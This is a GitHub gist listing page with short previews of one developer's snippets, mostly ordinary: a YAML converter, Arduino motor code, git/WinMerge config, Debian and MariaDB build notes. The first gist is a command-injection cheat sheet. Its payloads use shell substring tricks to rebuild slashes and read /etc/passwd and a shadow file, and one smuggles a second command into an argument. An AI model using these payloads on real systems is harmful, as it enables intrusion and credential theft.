Skip to content

Instantly share code, notes, and snippets.

View pastcompute's full-sized avatar
💯

Andrew pastcompute

💯
View GitHub Profile
@pastcompute
pastcompute / gist:145b18f876d16950adeafb39d91e8c6b
Last active April 7, 2024 11:22
How to access arbitrary file when you can't inject a dot or forward slash
bash -c ‘/path/to/some/binary args_not_attacker_controlled attacker_controlled$(cat<${HOME:0:1}etc${HOME:0:1}passwd)'

bash -c '/path/to/some/binary args_not_attacker_controlled attacker_controlled$(cat<${HOME:0:1}etc${HOME:0:1}apt${HOME:0:1}${LANGUAGE:5:1}${LANGUAGE:5:1}${HOME:0:1}shadow)'

Use triple arrow to redirect to bash if you can get an escaped space but not a direct space

bash -c '/bin/echo somestrangefile$(bash<<<"echo ABC")'
@pastcompute
pastcompute / export.py
Created April 6, 2023 04:42
YAML converter
from ruamel.yaml import YAML
import json
import os
import csv
import re
yaml = YAML()
root = os.path.normpath('src/assets/YAML/default')
fields = ['Dimension', 'Subdimension', 'Activity', 'Maturity Level', 'Measure']
@pastcompute
pastcompute / motor.ino
Created February 28, 2023 09:55
Arduino L298 H bridge example
#define MOTOR_A_PIN_9 9
#define MOTOR_A_PIN_10 10
#define MOTOR_B_PIN_11 11
#define MOTOR_B_PIN_12 12
void setup() {
Serial.begin(115200);
delay(300);
@pastcompute
pastcompute / gist:ac6f7ff81076d102007ef6997c66c7f6
Created June 5, 2018 13:13
Use winmerge with git on mingw
git config --global diff.tool winmerge
git config --global difftool.prompt false
git config --global difftool.winmerge.cmd "\"\$PROGRAMFILES (x86)\"/WinMerge/WinMergeU.exe -r -u -e -dl \"Local\" -dr \"Remote\" \"\$LOCAL\" \"\$REMOTE\""
git config --global merge.tool winmerge
git config --global mergetool.prompt false
git config --global mergetool.winmerge.trustExitCode true
git config --global mergetool.winmerge.cmd "\"\$PROGRAMFILES (x86)\"/WinMerge/WinMergeU.exe -r -u -e -dl \"Local\" -dr \"Remote\" \"\$LOCAL\" \"\$REMOTE\" \"\$BASE\" \"\$MERGED\""
@pastcompute
pastcompute / gist:1874b99f65e12d71660ee846cb557f67
Created April 29, 2018 03:00
Monkey patched ionic shell to print all executed commands
File: node_modules/@ionic/cli-utils/utils/shell.js . (shell.ts in source)
```
return new Promise((resolve, reject) => {
// insert next, around line 21
if (process.env['IONIC_PRINT_CMDS']) console.log('[EXEC] ' +command + ' ' + args.join(' '));
```
try {
GifDrawable gif = new GifDrawable( cordova.getActivity().getAssets(), "platfarm.gif" );
GifImageView imageView = new GifImageView(webView.getContext());
imageView.setImageDrawable(gif);
imageView.setScaleType(ImageView.ScaleType.FIT_XY);
RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
@pastcompute
pastcompute / thing.reducer.ts
Created December 1, 2017 11:31
Funky ngrx reducer notes
import { IUser } from './../state/app.state';
import { UserActionTypes, EditUserAction } from '../actions/user.actions';
// All reducers get called with all actions.
// So how the fuck does it know where in AppState state comes from?
// Theory: app.reducer -- reducers.user --> userReducer
// Pseudocode:
// for action in actions
// let function;
// unrolled example:
@pastcompute
pastcompute / build.md
Last active December 5, 2016 10:23
Build Debian i386 target for compact flash

Note: requires sudo or root unfortunately, no amount of munging of fakechroot, fakeroot, qemu or linux32 could get the second stage to run as a normal user.

/usr/sbin/debootstrap --no-check-gpg --arch i386 stable target-dir file:///path/to/mounted/dvd
cp /etc/apt/sources.list.d/my-sources target-dir/etc/apt/sources.list.d # or echo correct item
fuseiso file:///path/to/mounted/dvd target-dir/mnt/debian-cd
RUNLEVEL=1 LANG=C sudo chroot target-dir
apt-get update
apt-get install -y apache2 samba htop ufw localepurge bash-completion curl squid3 dnsmasq grub2
apt-get install -y linux-image-3.16.0-4-586

update-initramfs seems to be superfluous, called by installation of linux-image-...

This may be similar for other vendors laptops.

  1. Failed factory reset - the eventual C: partition not created, and the reset failed. HDDRECOVERY partition (end of drive) good. SYSTEM partition (start of drive) empty.
  2. Mount into Linux and use fdisk or gdisk to change the flags (remove diag from SYSTEM and hidden from HDDRECOVERY)
  3. Mount into another Windows7+ PC and make new partition that will become C:
  4. Run the following command. Assume that G: is the eventual C: and H: is HDDRECOVERY
cd H:
cd ZZIMAGES\ZZIMAGES
..\..\BIN\IMAGEX /ref PREINST*.SWM /apply PREINST.SWM 2 G:\
@pastcompute
pastcompute / build.md
Last active October 18, 2016 02:12
Mariadb Source Build Instructions
apt-get install -y build-essential git \
    cmake pkg-config bison \
    libncurses5-dev zlib1g-dev libboost-graph1.54-dev libjudy-dev
git clone https://github.com/MariaDB/server.git
cd server
mkdir build
cd build
cmake ..